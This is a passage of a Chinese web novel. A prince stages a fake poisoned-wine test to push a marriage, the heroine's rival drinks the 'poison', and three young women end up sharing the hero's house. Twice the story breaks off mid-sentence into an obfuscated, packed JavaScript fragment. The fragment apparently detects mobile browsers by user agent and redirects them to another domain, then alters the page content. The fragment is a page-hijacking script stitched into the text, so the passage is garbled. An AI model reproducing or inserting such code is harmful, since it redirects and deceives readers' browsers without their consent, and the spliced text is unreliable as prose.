夫人孙氏见他脸色不对,连忙上前询问:“老爷,这是怎么了?不是去给陈贤侄庆功吗?怎么垂头丧气的?” 正陪母亲说话的张静姝也好奇地看过来。 “别提了!”张盛财一摆手,脸上又是愁苦又是气愤,“庆功?我看是鸿门宴还差不多!” 他将秦王当众逼婚,还下了三日之期最后通牒的事情,一五一十地说了出来。 话还没说完,张静姝就忍不住了。 “什么?!”小姑娘的眼睛瞪得溜圆,一张俏脸因为愤怒而涨得通红。 她猛地一拍桌子,桌上的茶杯都被震得跳了起来。 “他秦王凭什么逼平川哥哥娶他女儿!” 张静姝的声音尖厉,整个人就像一只被惹**了的小母狮。 “平川哥哥是我张静姝的!谁也别想把他抢走!” 她双眼通红,几乎是吼了出来:“别说他一个破王爷,就是皇帝老子来了,也不行!” “哎哟!我的小祖宗!你可小点声吧!” 张盛财吓得魂飞魄散,赶紧从椅子上弹起来,一把捂住了女儿的嘴,惊恐地朝四周看了看,生怕隔墙有耳。 “我的乖女儿,你可别胡说八道!那可是王爷!是郡主!是皇亲国戚!咱们这种小门小户的生意人,怎么跟人家斗啊!” 张盛财苦口婆心地劝道:“你听爹说,这事儿咱们管不了,也惹不起!陈平川那小子现在是人中龙凤,一飞冲天了,咱们家……咱们家就是地上的土鸡,配不上啦!你就认命吧!爹再为你找一户更好的人家……” “我不认!” 张静姝一把甩开父亲的手,眼泪像断了线的珠子一样滚落下来。 她看着自己的父亲,眼神里充满了决绝和悲伤。 “我不管他是龙是凤!我只知道他是我从小就认定的男人!” “爹!女儿这辈子,非陈平川不嫁!他要是敢娶那个什么破郡主,我……我就剪了头发,去庙里当姑子!青灯古佛,了此残生!” 说完,她转身就跑回了房间,“砰”的一声关上了门,只留下撕心裂肺的哭声。 “哎!这……这可如何是好啊!”张盛财急得直跺脚,看着旁边的妻子,两人都是一脸愁容。 …… 另一边,陈家大院。 陈平川被软禁在家,哪里也去不了。 他心里烦闷,但却惦记一件事——好兄弟张金宝的箭伤。 那小子为了给自己送信,差点把命都丢在外面,左肩还中了一箭,也不知道现在怎么样了。 自己现在出不去,只能拜托别人了。 他想来想去,把妹妹陈平玉叫到了跟前。 “平玉,哥现在出不去,想请你帮个忙。”陈平川从怀里掏出几张银票,又让母亲罗氏去库房里拿了几支上好的人参和一些补品。 “你替我去一趟张家,看看金宝的伤势如何了。这些东西你带过去,再买些礼品,就说是我的一点心意,让他好好养伤。” “好嘞,哥,你放心吧!”陈平玉乖巧地点点头,接过东西,高高兴兴地出门了。 当陈平玉提着大包小包的补品来到张家时,张金宝正躺在床上哼哼唧唧,一副死鱼模样。 一见到清秀可人的陈平玉进来,他眼睛顿时就亮了,身上的伤似乎都好了大半,一个鲤鱼打挺就想坐起来,结果牵动了伤口,疼得他“哎哟”一声又躺了回去。 “金宝哥哥,你别乱动!”陈平玉连忙放下东西,快步走到床边,小脸上满是关切,“你伤好点没有?大夫怎么说?” 看着陈平玉那双水汪汪的大眼睛,张金宝的心“扑通扑通”跳个不停。 之前,他就觉得陈平川妹妹,很可爱。 现在一看,感觉比以前更好看了,说话的声音也软软糯糯的,听得他心里痒痒的。 为了在陈平玉面前展示自己的英勇,他立刻把疼痛抛到了九霄云外,清了清嗓子,开始吹嘘起来。 “嗨!这点小伤算什么!想当初,我孤身一人,闯那天公道的十万大军营盘,那真是刀光剑影,血流成河啊!” 张金宝说得是眉飞色舞,唾沫横飞。 “那些贼兵,少说也有几百人追我一个!我左手一把刀,右手一把剑,杀了个七进七出!眼睛都没眨一下!” 陈平玉听得一愣一愣的,满眼都是崇拜的小星星。 张金宝一看有戏,吹得更起劲了。 “后来到了黑风寨,那凤三娘你知道吧?江湖上赫赫有名的女魔头!她一见我,就想把我留下当压寨夫君!我张金宝是何许人也?义薄云天!我当场就跟她舌战三百回合,晓之以理,动之以情,说得她是心服口服,最后乖乖听我大哥的计策,发兵来救!” “哇!金宝哥哥,你好厉害啊!”陈平玉拍着小手,满脸都是崇拜。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063670|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然!”张金宝得意地扬了扬下巴。 “可是……”陈平玉眨了眨天真的大眼睛,好奇地问道,“我哥说,去黑风寨送信的不是有三个人吗?还有两个王府的护卫呢,他们去哪了?” “呃……”张金宝的牛皮瞬间被戳破了一个小洞,他眼珠子一转,连忙打补丁,“那两个护卫……嗨!别提了,半路上就被抓了……只剩下我一个人,力挽狂澜!” “哦……”陈平玉似懂非懂地点点头,又问道:“那我哥还说,他的信是密信,只有他和凤三娘才看得懂。金宝哥哥你是怎么跟凤三娘舌战三百回合的呀?你又看不懂信里的内容。” “我……”张金宝的额头开始冒汗了,脑子飞速运转,“我……我虽然看不懂字,但我懂我大哥的心啊!我们是兄弟,心意相通!我一个眼神,她就知道我大哥是什么意思了!” “是吗?”陈平玉歪着脑袋,一脸天真无邪,“可是我听我哥说,凤三娘好像喜欢他呢,怎么会想让你当压寨夫君呀?” “噗!” 张金宝一口老血差点喷出来,被陈平玉这一连串的追问搞得是手忙脚乱,彻底露馅了。 他涨红了脸,支支吾吾了半天,一个字也说不出来。 看着他那又憨又窘迫的样子,陈平玉再也忍不住了,“噗嗤”一声笑了出来,笑得前仰后合,清脆的笑声像银铃一样在房间里回荡。 其实她早就知道张金宝跟他吹牛。 “金宝哥哥,你真有意思!” 她觉得,眼前的张金宝,好像和以前那个只知道吃喝玩乐的纨绔子弟,不太一样了。 虽然还是那么不爱动脑子,但多了几分勇敢和担当,吹牛的样子……也挺可爱的。 张金宝被她笑得面红耳赤,恨不得找个地缝钻进去。 但看着陈平玉那明媚的笑脸,他心里却一点也不生气,反而觉得甜丝丝的。 他觉得,陈平川的妹妹,真是又温柔又可爱,比他那个只会欺负自己的妹妹强一百倍。 …… 时间过得飞快。 三天之期,转瞬即逝。 这三天里,陈家愁云惨淡,气氛压抑得让人喘不过气来。 每个人都像是等待着行刑的囚犯,度日如年。 第三日清晨,天刚蒙蒙亮。 秦王的车队停在了陈家门口。 来了! 陈平川心中一凛,站起身,整理了一下衣冠,脸上看不出任何表情。 他知道,最后的时刻,到了。 第224章 全场骇然!她竟指着秦王鼻子骂! 陈家大院的门外,是清一色身着明红色服饰的王府侍卫。 他们面容冷峻,气势森然,从巷子口一直排到了陈家门口,将整个街道都**了。 轿帘掀开,秦王祝衡身着一身暗紫色的四爪**袍,头戴金冠,面色冷峻地走了下来。 在他的身后,还跟着一名女子。 那女子身形窈窕,步履轻盈,头上戴着一顶宽大的帷帽,白色的纱幔垂下,将她的容貌遮得严严实实,让人看不真切。 陈平川一家人,连同张若素,早已等在了院中。 见到秦王驾到,众人连忙下跪行礼。 “参见王爷。” “都起来吧。” 秦王的声音听不出喜怒,他没有看任何人,径直走进院子,大马金刀地在主位上坐下,那名头戴帷帽的女子则安静地站在了他的身后。 王府的侍卫们鱼贯而入,将整个院子都控制了起来,气氛压抑到了极点。 罗氏和陈仲和吓得大气都不敢喘,陈平玉更是紧张地攥紧了衣角。 秦王没有说话,只是端起桌上的茶杯,轻轻吹了吹热气,慢条斯理地品了一口。 时间一分一秒地过去,院子里安静得可怕,只能听到秦王喝茶时发出的轻微声响。 这无声的压迫,比任何严厉的斥责都更让人心惊胆战。 终于,秦王放下了茶杯。 他抬起眼皮,目光如刀,直直地射向堂下的陈平川。 “陈平川,三日之期已到。” “本王再问你最后一次。” 他的声音冰冷而威严,在小小的院落里回荡。 “你的选择,是什么?” 随着他的话音落下,一名侍卫端着一个托盘,从他身后走出。 托盘上,放着一只晶莹剔透的白玉酒杯。 杯中,盛满了深紫色的液体,在晨光下,泛着一丝诡异的光泽。 侍卫将托盘放在了陈平川面前的地上。 毒酒! 陈家人的心都揪起来。 一边,是秦王的女儿,代表着无上的荣华富贵和郡马之尊。 另一边,是眼前这杯毒酒,代表着死亡和终结。 秦王冷冷地看着他,再次开口,声音里不带一丝感情: “本王已经说得很清楚了,你,选哪个?” 所有人的心都提到了嗓子眼。 罗氏紧张得几乎要晕过去,陈仲和的嘴唇哆嗦着,想说什么却一个字也说不出来。 陈平川抬起头,没有去看那杯酒,也没有去看秦王,而是将目光投向了秦王身后,那名头戴帷帽的女子。 他知道,此女一定是昭华郡主。 深吸一口气,陈平川对着秦王深深一揖。 “王爷。” 他的声音平静。 “在做选择之前,平川还有一言,恳请王爷听完。” 秦王眉头一挑,没有说话,算是默许了。 陈平川语气诚恳地说道:“王爷,婚姻大事,讲求的是两情相悦。平川与郡主,不过是在王府有过一面之缘,彼此之间毫无了解,更谈不上任何感情。” “您今日若强行将郡主许配给平川,看似是成全了平川,实则是将郡主推入了一个不幸的火坑。” “她嫁给一个不爱她的男人,往后数十年,都要在这座牢笼里度过,日日以泪洗面,这难道就是王爷您想看到的吗?” “平川自知人微言轻,但还是斗胆恳请王爷,收回成命。也恳请王爷,能让郡主……为自己的婚事,亲自做一回主。” 说着,他转过头,目光穿过那层薄薄的纱幔,仿佛在直视着那个女子的眼睛。 “郡主殿下,平川知道,您是知书达理、温婉贤淑的女子。平川何德何能,能得您青睐?但强扭的瓜不甜,这桩婚事,只会害了您一生幸福。请您三思!” 帷帽之下,那窈窕的身影猛地一颤。 昭华郡主的心,像是被什么东西狠狠地撞了一下。 她万万没有想到,在这个生死攸关的关头,陈平川第一个考虑的,竟然不是他自己的性命,而是她的幸福。 他说的每一个字,都像是一颗石子,投进了她平静的心湖,激起了一圈又一圈的涟漪。 这个男人…… 他明明可以为了荣华富贵,为了活命,而答应下来,但他没有。 他宁愿冒着触怒父王,也要为她说这番话。 一股异样的感动,瞬间涌遍了她的全身。 秦王看着陈平川,眼神复杂。 他也没想到,这小子到了这个地步,竟然还在替别人着想。 他到底是真君子,还是……另有图谋? “哼!”秦王冷哼一声,心中的怒气却消散了不少,但还是不依不饶:“巧舌如簧!今天不管你说什么,必须给本王一个答复!” 陈平川叹口气,伸出手来…… 突然! “等等!” 在所有人惊愕的目光中,一道火红色的身影,像一团旋风般,从门外冲了进来! “谁?!”王府侍卫们纷纷拔刀,想要上前阻拦。 但那人影速度太快,眨眼间就已经冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063671|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破了防线,来到了陈平川的面前。 众人定睛一看,全都傻眼了。 来人,竟是一个梳着双丫髻,穿着一身火红衣裙的少女。 不是张静姝,又是谁?! 她就像一头愤怒的小豹子,双眼通红,一脸倔强,不顾一切地冲到了秦王的面前。 在所有人惊骇的目光中,她伸出手指,指着秦王,大声怒斥道: “你这个忘恩负义的老匹夫!” “我平川哥哥刚为了庐州城殚精竭虑,舍生忘死!你转头就要逼他娶你的女儿,还要用毒酒害他性命!” “你的良心是被狗吃了吗!” 此言一出,满堂死寂。 时间仿佛在这一刻静止了。 跟在后面,连滚带爬跑进来的张盛财,听到女儿这番惊天动地的话,吓得两眼一翻,差点当场昏死过去。 他“噗通”一声跪倒在地,浑身抖得像筛糠一样,连磕头求饶的力气都没有了。 罗氏和陈仲和夫妇,更是吓得捂住了嘴,眼睛瞪得像铜铃,不敢相信自己听到了什么。 陈平川脸色瞬间大变,心里只有一个念头:完了!这下彻底完了! 张若素也惊得用纤手紧紧掩住嘴,满脸的不可思议。 而坐在主位上的秦王,他的脸色,已经不能用铁青来形容了。 那是青中带紫,紫中带黑,额头上的青筋一根根暴起,整个人像一座即将喷发的火山。 他身为大业朝的亲王,一人之下,万人之上,何曾受过如此奇耻大辱? 竟然被一个黄毛丫头,当着这么多人的面,指着鼻子骂作“老匹夫”! “放肆!” 秦王身后的侍卫们终于反应过来,齐声怒喝,锋利腰刀寒光闪闪,就要冲上去将张静姝拿下。 但张静姝根本没看他们一眼。 在所有人都没有反应过来的时候,她猛地一伸手,一把抢过了那杯毒酒! 她举着酒杯,对着秦王,眼神里充满了决绝和疯狂。 “这杯酒,我替平川哥哥喝了!” “你若再逼他,我张静姝就是做鬼,也绝对不会放过你!” “不要!”陈平川第一个反应过来,嘶吼着扑了上去。 “静姝!”张盛财也哭嚎着爬过去,想要阻止女儿。 罗氏、陈仲和、张若素……所有人都大喊着,想要阻止这疯狂的一幕。 但,为时已晚。 张静姝仰起头,闭上眼睛,毫不犹豫,将杯中那深紫色的液体一饮而尽! 一滴,不剩! 第225章 一杯毒酒试真心,一位佳人赖上门 “啊——!我的女儿啊!”张盛财发出一声凄厉的哭嚎,连滚带爬地抱住了软倒下去的女儿。 “静姝!”罗氏眼前一黑,吓得直接瘫倒在地,被陈仲和手忙脚乱地扶住。 “快!快请大夫!快啊!”陈平川目眦欲裂,冲着外面发疯似的嘶吼。 整个陈家小院,瞬间陷入了一片撕心裂肺的哭喊和混乱之中。 然而,就在这一片混乱的中心,本该毒发身亡的张静姝,却突然动了一下。 她躺在父亲的怀里,没有痛苦,没有抽搐,反而……咂了咂嘴。 然后,她伸出粉嫩的舌头,舔了舔嘴唇,满脸都是诧异和迷茫。 “咦?” 她眨了眨眼睛,发出了梦呓般的声音。 “这毒酒……怎么是甜的?” “还有一股……葡萄味儿?” 整个院子的哭嚎声,戛然而止。 所有人都像被施了定身法一样,僵在了原地,目瞪口呆地看着她。 就在这诡异的寂静中,一个极不合时宜的声音,突然响了起来。 “哈哈……哈哈哈哈哈哈!” 众人循声望去,只见主位之上,那个刚才还怒发冲冠、脸色黑如锅底的秦王,此刻正指着张静姝,爆发出了一阵无比爽朗、震天响的大笑。 “好一个泼辣丫头!好一个烈性子!” 秦王一边笑,一边用手指着还在发懵的张静姝。 “不但敢当着本王的面,指着鼻子骂本王是老匹夫,还真敢喝了这杯‘毒酒’!” “有胆色!有魄力!本王佩服!” 他笑够了,才缓缓站起身,对着满院子石化的人,朗声解释道: “都别哭了,也别喊大夫了。” “这杯里装的,根本就不是什么毒酒,而是西域进贡的上好葡萄酒。” “本王今日此来,本就是想设个局,考验考验陈平川的真心,看看他究竟是个贪生怕死、趋炎附势之辈,还是真有几分文人风骨。” “却没想到,被你这个小丫头给半路杀出来,搅了本王的好局!” 秦王的话,让所有人都惊呆了。 不是毒酒? 是葡萄酒? 这一切……都只是个考验? 众人面面相觑,一时间都反应不过来。 张盛财愣愣地看着怀里的女儿,又看了看秦王,脑子彻底成了一团浆糊。 陈平川也愣住了,他看着安然无恙的张静姝,又看看笑得开怀的秦王,那颗悬到嗓子眼的心,总算是落了回去。 紧接着,一股哭笑不得的情绪涌了上来。 这老王爷,也太能演了吧! 差点把所有人都给吓死! 而张静姝,在确认自己没死之后,胆子又大了起来。 她从父亲怀里爬起来,叉着腰,鼓着腮帮子,气呼呼地瞪着秦王。 “你……你这个老骗子!吓死我了!” “哈哈哈哈!”秦王又是一阵大笑,觉得这丫头是越看越有意思。 他不再理会张静姝,而是转过头,将那双锐利的眼睛,重新投向了面色复杂的陈平川。 “平川啊,本王其实很好奇。” “就算今日没有这个泼辣丫头冲出来搅局,你最终的选择,也是桌上这杯酒吧?” 这个问题,又将所有人的目光吸引到了陈平川身上。 是啊,如果没有张静姝,他会怎么选? 是屈服于权势,迎娶郡主,还是宁为玉碎,不为瓦全? 陈平川迎着秦王的目光,没有直接回答。 他只是微微一笑,但已经给了秦王答案。 秦王看着他,也笑了。 那是一种英雄惜英雄的欣赏。 他点了点头,长长地叹了口气,似乎是彻底放弃了。 “罢了,罢了。” 他摆了摆手,“儿大不由爹,女大不中留啊。你们年轻人的事,本王这把老骨头,也懒得管了。” 说着,他转过身,走到了那名一直安静站立的女子面前。 在众人好奇的注视下,他亲手揭开了那顶帷帽。 一张宜喜宜嗔、羞花闭月的绝色脸庞,出现在了众人面前。 那女子肌肤胜雪,眉目如画,一双明眸宛如秋水,此刻正含着三分羞涩,三分紧张,还有四分掩饰不住的倾慕,偷偷地瞥着陈平川。 “昭华,”秦王的声音温和了下来,“父王不逼你了。你自己的婚事,你自己做主。你现在当着大家的面,告诉父王,也告诉陈公子,你……到底愿不愿意嫁给他?” 所有人都屏住了呼吸。 大家都觉得,经过刚才那么一闹,尤其是陈平川明确表达了拒绝之后,这位金枝玉叶的郡主,为了保全自己的颜面,也一定会拒绝这门婚事。 然而,出乎所有人意料的是。 昭华郡主深吸一口气,像是鼓起了毕生的勇气。 她上前一步,对着陈平川,盈盈一福,行了一个标准的万福礼。 然后,她抬起那张羞得通红的俏脸,用一种轻柔却无比坚定的声音,清晰地说道: “回父王的话。” “女儿……女儿愿意嫁给陈公子。” 这章没有结束,请点击下一页继续阅读!“……” 陈平川彻底无语了。 他张了张嘴,感觉自己的脑子有点不够用。 这剧本不对啊! 怎么跟自己想的完全不一样? 他刚才那番话,又是保全她名节,又是为她幸福着想,不就是为了给了她台阶,能顺理成章地拒绝吗? 怎么她……她还就赖上自己了? “哈哈哈哈哈哈!” 秦王再次爆发出得意的大笑,他一拍陈平川的肩膀,笑得那叫一个畅快。 “听到了吗?平川!你听到了吗?” “我女儿愿意!她自己愿意的!” “你看,本王可没逼她!是你小子自己魅力太大,把我这宝贝女儿的魂都给勾走了!” 秦王笑得像个偷到鸡的狐狸,脸上写满了“奸计得逞”四个大字。 “好了!”秦王大手一挥,做出了一个让所有人眼珠子都掉下来的决定。 “既然昭华也愿意,这事就这么定了!” “本王看你们也需要时间互相了解一下,培养培养感情。这样吧,从今天起,本王就把昭华,留在你家了!” “什么?!”陈平川、罗氏、张静姝,几乎是异口同声地惊叫起来。 把郡主……留在他们家? 这……这成何体统?! “王爷,万万不可啊!”陈平川急了,“孤男寡女,共处一室,这要是传出去,郡主的名节还要不要了?” “有什么不可的?”秦王眼睛一瞪,“你们不早晚是夫妻吗?提前住在一起,熟悉熟悉环境,有什么问题?谁敢乱嚼舌根,本王割了他的舌头!” 这话说得,那叫一个霸道。 说完,他竟真的不顾陈平川的反对,拉着宝贝女儿的手,亲切地交到了罗氏的手里。 “亲家母啊,我这女儿,从小娇生惯养,没吃过什么苦。以后,就劳烦你多多照顾了。” 罗氏被这一声“亲家母”叫得是晕头转向,手足无措地看着昭华郡主,结结巴巴地说道:“王……王爷,这……这不合规矩啊……” “规矩是死的,人是活的!”秦王根本不给她拒绝的机会,拍了拍手,转身就走。 “行了,人我给你们留下了!本王还有公务要忙,先走了!” 说罢,他真的就这么大笑着,带着一众侍卫,浩浩荡荡地扬长而去。 只留下陈家和张家的两家人,傻愣愣地站在院子里,对着一位货真价实、如花似玉的郡主,面面相觑,风中凌乱。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第226章 救命!我被美女包围了! 陈平川一脸黑线,一句话都说不出来。 他算是看明白了,今天这一出,从头到尾就是秦王设下的一个套。 什么逼婚,什么毒酒,全都是假的! 唯一的目的,就是要把他女儿,顺理成章地塞到自己家里来! 院子里,陷入了死一般的寂静。 张静姝看看昭华郡主,又看看陈平川,小嘴撅得能挂油瓶。 张若素脸上露出一抹苦笑,但还是松口气。 陈平川扶着额头,感觉自己的头比宿醉之后还要痛。 最终,还是罗氏这个当家主母最先反应过来。 她看着眼前这三个同样出色、同样对自己儿子情根深种的绝代佳人,心里暗想:事已至此,总不能把郡主赶出去吧? 罗氏眼珠一转,立刻打起了圆场。 她热情地拉起昭华郡主的手,满脸堆笑:“哎呀,郡主殿下,快别站着了,快进屋坐!以后就把这里当自己家一样,千万别客气!” 然后,她就开始安排住宿这个天大的难题。 “那个……平川啊,你看,郡主一个女孩子家,总不能让她没地方住。这样,你今晚就搬去跟你爹挤一挤,把你的房间,让给郡主住。” “我?”陈平川指着自己的鼻子,一脸不情愿。 “就这么定了!”罗氏一锤定音,不容反驳。 接着,她又看向张若素和陈平玉:“若素啊,平玉,今晚你们俩跟我挤一个屋。” 张静姝一听这安排,立马就不干了。 她一把抱住罗氏的胳膊,央求道:“伯母,我也要住在这里!我要看着平川哥哥,不能让他被别的女人抢走了!” 说着,还挑衅地瞪了昭华郡主一眼。 罗氏一个头两个大。 这小小的陈家院子,一时间,张静姝、张若素、昭华郡主,三位身份、性格、容貌都截然不同的绝代佳人,竟然齐聚一堂。 这下可热闹了。 整个院子,拥挤不堪,气氛尴尬到了极点。 可以预见,未来的日子,陈家绝对不会平静了。 …… 第二天,天刚蒙蒙亮,陈家小院就彻底乱成了一锅粥。 导火索,是院子里那只孤零零的铜盆,和挂在墙上那面同样孤零零的铜镜。 “哎,你这人怎么插队啊!没看到我先来的吗?” 张静姝一手叉腰,一手指着刚刚拿起铜盆的昭华郡主,气鼓鼓地说道。 她起得最早,就是为了抢占先机,在陈平川面前留下一个好印象。 谁知道刚打好水,一转头的功夫,铜盆就被这位郡主殿下给“征用”了。 昭华郡主拿着铜盆,姿态优雅,她瞥了张静姝一眼,声音不大,带着上位者的高傲:“本宫乃是郡主,凡事自然优先。这是规矩。” “什么破规矩!这里不是王府!是平川哥哥的家!”张静姝可不吃她这一套,“这里的规矩就是先来后到!” “放肆!你敢对本宫无礼?”昭华郡主秀眉一蹙,拿出了皇家的威严。 就在两人争执不下的时候,张若素端着自己的小木盆,施施然地走了过来。 她看了一眼剑拔弩张的两人,轻轻放下木盆,柔声说道:“古书有云:‘长者先,幼者后’。若论年岁,若素痴长二位几月,理应为先。若论身份,郡主殿下为尊,理应为先。若论先来后到,静姝妹妹又占了先机。依若素愚见,此事甚是为难。” 她一番引经据典,说得头头是道,结果就是谁也没法先用。 陈平川刚睡眼惺忪地从他爹的房间里走出来,就被这三个女人夹在了中间,一个头两个大。 “我说三位姑奶奶,不就是一个铜盆吗?至于吗?排队,一个一个来不行吗?” 结果他话音刚落,三道凌厉的目光同时射向他。 “你闭嘴!” “此事与你无关!” “陈公子请自重。” 陈平川被怼得哑口无言,只好灰溜溜地躲到一边,感觉自己在这个家里,地位已经降到了最低。 早饭时分,更是上演了一场没有硝烟的战争。 罗氏为了招待这三位“准儿媳”,特意做了朴素的农家早饭——粗粮饼子小米粥,配一碗咸菜。 饭桌上,昭华郡主看着眼前那黄黑色的饼子,秀气的眉头几乎拧成了一个疙瘩,拿着筷子,半天没有下手,脸上满是为难之色。 她从小锦衣玉食,何曾见过如此“简陋”的食物。 张若素倒是还好,出身书香门第,虽然不事稼穑,但家教极好。她小口小口地吃着,姿态端庄优雅,只是那速度,显然也是有些食不下咽。 唯有张静姝,心眼最多。 她拿起饼子,狠狠地咬了一大口,一边嚼一边含糊不清地对罗氏大加赞赏: “哇!伯母,您做的这个饼子也太好吃了吧!又香又脆,比我们家厨子做的大鱼大肉都好吃!” 罗氏一听,顿时心花怒放,笑得合不拢嘴:“哎哟,还是我们静姝嘴甜!好吃就多吃点!” 说着,热情地又夹了一个硕大的饼子,放到了张静姝的碗里。 这章没有结束,请点击下一页继续阅读!“来,再喝一碗粥!”罗氏又给她盛了满满一碗小米粥。 张静姝看着碗里堆成小山一样的食物,脸上的笑容瞬间凝固了。 她感觉自己搬起石头砸了自己的脚,再也装不下去了,只能苦着一张脸,在罗氏殷切的注视下,硬着头皮往下咽。 罗氏将三人的表现尽收眼底,心里有了计较。 她故意清了清嗓子,说道:“我们陈家是小门小户,我希望我未来的儿媳妇,不求出身多高贵,但一定要能吃苦耐劳,勤俭持家。” 说完,她便开始分配家务活。 “静姝,你手脚麻利,今天院子里的衣服就交给你洗了。” “若素,你知书达理,心思细腻,就负责把屋里屋外打扫一遍吧。” “郡主殿下……您身份尊贵,这些粗活本不该您来做。要不,您就负责……把院子里的落叶扫一扫?” 结果,院子里更乱了。 张静姝倒是干活的一把好手,没一会儿就把衣服搓得干干净净,但她那张嘴也不闲着,一边洗一边阴阳怪气地指桑骂槐:“哎哟,这人啊,就是命好,扫个地都跟绣花似的,哪像我们这些劳碌命哦……” 张若素饱读诗书,可做起家务来却是一窍不通。她洗衣服,结果把皂角放多了,搓出来的泡沫跟小山似的,弄得满院子都是,她自己也差点滑倒。 而昭华郡主,拿着一把比她还高的扫帚,姿势优雅得像是在抚琴。她左扫一下,右扫一下,半天过去了,院子里的落叶,只扫了三分之一。 晚上,罗氏又将三个女孩子都安排在了一间屋子里居住,然后偷偷蹲在窗下偷听。 她想知道,这三个丫头,到底谁更喜欢自己儿子。 陈平川则是找了个借口,说军中还有要事处理,直接搬到府衙去住了,他实在是不想再待在这个修罗场里。 夜深了。 张静姝、张若素、昭华郡主,三个人躺在一张大通铺上,谁也睡不着。 张静姝翻来覆去,像烙饼一样,终于忍不住了。 她猛地坐起来,在黑暗中瞪着睡在最里面的昭华郡主,首先发难: “喂,那个谁,郡主!” “本宫有名有姓,叫祝昭华。”黑暗中,传来一个清冷的声音。 “我管你叫什么!”张静姝没好气地说道,“我问你,你是不是真看上我平川哥哥了?” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第227章 极品亲戚上线!道德绑架玩绝了! 黑暗中,昭华郡主语气坚定:“当然!” 张静姝哼了一声,又问:“那你说说,你看上他什么了?” 这次,昭华郡主沉默良久,才传来她轻柔的声音:“陈公子人中之龙,心怀天下,智计无双。女儿家心生仰慕,不是很正常吗?” “呵,说得比唱的还好听!”张静姝撇了撇嘴,语气里满是酸味,“我看你就是看中了他未来的前程!想找个乘龙快婿,巩固你们皇家的地位吧!” “你……”昭华郡主的声音带上了一丝怒意,“你休要以小人之心,度君子之腹!本宫对陈公子的敬仰,如滔滔江水,岂是你这等市井女子所能理解的?” “市井女子怎么了?市井女子碍着你吃你家大米了?”张静姝立刻反唇相讥,“总比你们这些高高在上的贵人强!嘴上说着仁义道德,心里全是男盗女娼的算计!” “你……你简直不可理喻!” “你才不可理喻!强买强卖!” 两人在黑暗中你一言我一语,唇枪舌剑,互不相让,眼看就要从文斗升级成武斗。 睡在中间的张若素被她俩夹在中间,只觉得一群蜜蜂在叫。 她轻叹一声,坐起身来,柔声打断了她们。 “二位妹妹,夜深了,还是早些歇息吧。这般争吵,也解决不了任何问题,反而伤了和气。” 她顿了顿,低着声音在静谧的夜里问道。 “其实,若素也很好奇。我们三人,出身不同,性情各异,为何……都会对陈公子倾心呢?” 这个问题,像是一阵清风,吹散了房间里的火药味。 张静姝和昭华郡主都安静了下来。 是啊,为什么呢? 张若素没有等她们回答,自顾自地轻声说道:“我初识公子,是在京城兰亭诗会。他一首千古诗句,豪气干云,让我看到了男儿的万丈豪情。后来,他着《安民论》,针砭时弊,心怀万民,让我看到了文人的风骨与担当。” “再后来,顺城危难,他挺身而出,以一人之力,挽狂澜于既倒。我才知,他不仅有才情,更有经天纬地之才。这样的男子,世间罕有,若素心折,暗自发誓要一生追随……” 听完张若素的话,张静姝撇了撇嘴,小声嘀咕道:“说得文绉绉的,不就是看上平川哥哥有本事呗。” 但她心里,却不由自主地想起了自己和平川哥哥的过往。 从桃花村的初识,到《西游记》连环画的合作,到自己被陈平川舍命相救,再到庐州城下他指挥若定的身影,以及为了救全城百姓不惜以身犯险…… 那个曾经被她瞧不起的小书童,不知不觉间,已经成长为了一棵可以为无数人遮风挡雨的参天大树。 昭华郡主也陷入了沉思。 她与陈平川的交集最少,但每一次,都让她印象深刻。 乡试时,他为民请命,不畏权贵,揭露科举舞弊。 王府里,他侃侃而谈,胸有韬略,让她看到了一个完全不同的世界。 庐州城破在即,他临危受命,孤身扛起了十万军民的性命。 还有昨天,在生死关头,他首先考虑的,竟然是她的幸福…… 想着想着,三个女孩都沉默了。 她们突然发现,虽然她们总是在争风吃醋,但对于陈平川的看法,竟然是出奇的一致。 她们都爱他的才华,敬他的担当,更被他那份心怀天下的胸襟所折服。 这份认知,让她们彼此之间的敌意,悄然消散了许多。 原来,我们喜欢的是同一个人,看中的,也是他身上同样闪光的地方。 这份奇妙的共鸣,让房间里的气氛缓和了下来。 “哼,”最终,还是张静姝打破了沉默,她盘腿坐在床上,像个大姐大一样,看着另外两人,说道:“我看出来了,咱们仨,眼光都还不错。” “但是!”她话锋一转,“我可警告你们!平川哥哥这么优秀,外面说不定有多少野花野草盯着呢!咱们仨窝里斗,万一最后便宜了外人,那咱们可就都亏大发了!” 昭华郡主和张若素闻言,都是一愣,随即深以为然地点了点头。 “所以!”张静姝一拍床板,提议道,“我建议,咱们仨暂时休战!一致对外!先把平川哥哥看住了,不让他再有机会去外面沾花惹草!” “至于最后,平川哥哥到底归谁,那是咱们的内部矛盾!到时候,咱们仨再关起门来,自己研究解决!决不能让外面的妖艳贱货占了便宜!你们说怎么样?” 这个提议,虽然听起来有些荒唐,却意外地得到了另外两人的认可。 “静姝妹妹此言,有理。”张若素首先表示赞同。 昭华郡主也轻轻“嗯”了一声,算是同意了。 于是,就在这个寂静的夜晚,陈家的卧房里,三位情敌,竟然达成了一个“神圣”的攻守同盟。 她们的关系,也因此缓和了许多。 